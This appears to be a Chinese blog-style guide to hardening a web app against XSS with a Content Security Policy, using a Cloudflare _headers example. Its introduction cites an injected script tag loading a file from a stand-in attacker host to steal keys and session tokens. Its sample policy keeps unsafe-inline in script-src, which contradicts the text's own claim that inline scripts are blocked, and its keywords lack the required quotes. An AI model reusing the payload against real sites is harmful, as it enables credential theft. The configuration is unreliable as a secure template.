生产环境 CSP 内容安全策略配置防 XSS 注入最小规则在上线带有用户自定义富文本输入、Markdown 渲染或手账排版功能的 Web 工具时XSS跨站脚本攻击Cross-Site Scripting是最致命的安全隐患。攻击者一旦在日记内容中注入一段恶意的script srchttps://evil.com/steal.js当其他用户查看公开分享的卡片时恶意脚本就能在受害者的浏览器上下文中静默执行窃取本地存储的 IndexedDB 私密加密密钥或 Session Token。虽然在前端我们可以使用DOMPurify对输入内容进行标签清洗但纯客户端的库很容易因为过滤规则遗漏或绕过技巧被攻破。CSPContent Security Policy内容安全策略是现代浏览器提供的最强防御盾牌通过在 HTTP 响应头中声明严格的白名单浏览器会从底层直接封锁任何未授权脚本的执行与外链连接。今天我把自用小产品的生产环境 CSP 最小可用配置与避坑清单整理出来。-------------------------------------------------------------------- | CSP (内容安全策略) 多维度资源防护模型 | ------------------------------------------------------------------- | script-src self | 严禁内联 eval 与未授权外部脚本 (封死 XSS 根源)| | connect-src self | 仅允许向自己的 API 网关与官方 LLM 接口通信 | | img-src self data:| 仅允许加载本地图片与用于手账贴纸的 Base64 资源| | style-src self | 允许 Tailwind 生成的样式与特定 Google Fonts | | frame-ancestors | 禁止网站被第三方通过 iframe 恶意点击劫持 | -------------------------------------------------------------------1. 边缘网关响应头注入最小 CSP 规则在 Cloudflare Workers / Hono 网关或 Cloudflare Pages_headers配置文件中添加标准安全头# public/_headers /* Content-Security-Policy: default-src self; script-src self unsafe-inline https://stats.yourdomain.com; style-src self unsafe-inline https://fonts.googleapis.com; font-src self https://fonts.gstatic.com data:; img-src self data: blob: https:; connect-src self https://api.yourgateway.com https://stats.yourdomain.com; frame-ancestors none; object-src none; base-uri self; X-Frame-Options: DENY X-Content-Type-Options: nosniff Referrer-Policy: strict-origin-when-cross-origin2. 核心指令拆解与独立开发场景适配frame-ancestors none彻底禁止任何第三方钓鱼网站通过iframe嵌套你的小工具进行“点击劫持Clickjacking”。object-src none直接封锁 Flash、Java Applet 等远古插件漏洞。connect-src严格收敛这是保护用户隐私的关键。即使攻击者通过某种未知漏洞成功注入了一段 JavaScript由于 CSP 严格限制了网络请求只能发往你的官方域名和统计域名恶意脚本根本无法把窃取到的数据通过fetch()发送到黑客的外部服务器。3. 本地调试与生产灰度Report-Only 模式如果你担心配置了过于严格的 CSP 会意外误伤某些合法的第三方依赖可以先开启Content-Security-Policy-Report-Only模式Content-Security-Policy-Report-Only: default-src self; report-uri /api/csp-report;在这个模式下浏览器不会真正拦截任何违规请求而是会在后台静默将拦截日志 POST 发送到你的/api/csp-report接口。观察一周确认没有误报后再正式切为强制拦截模式。安全不是功能的累赘而是让你的小产品能够长久健康活下去的免疫系统。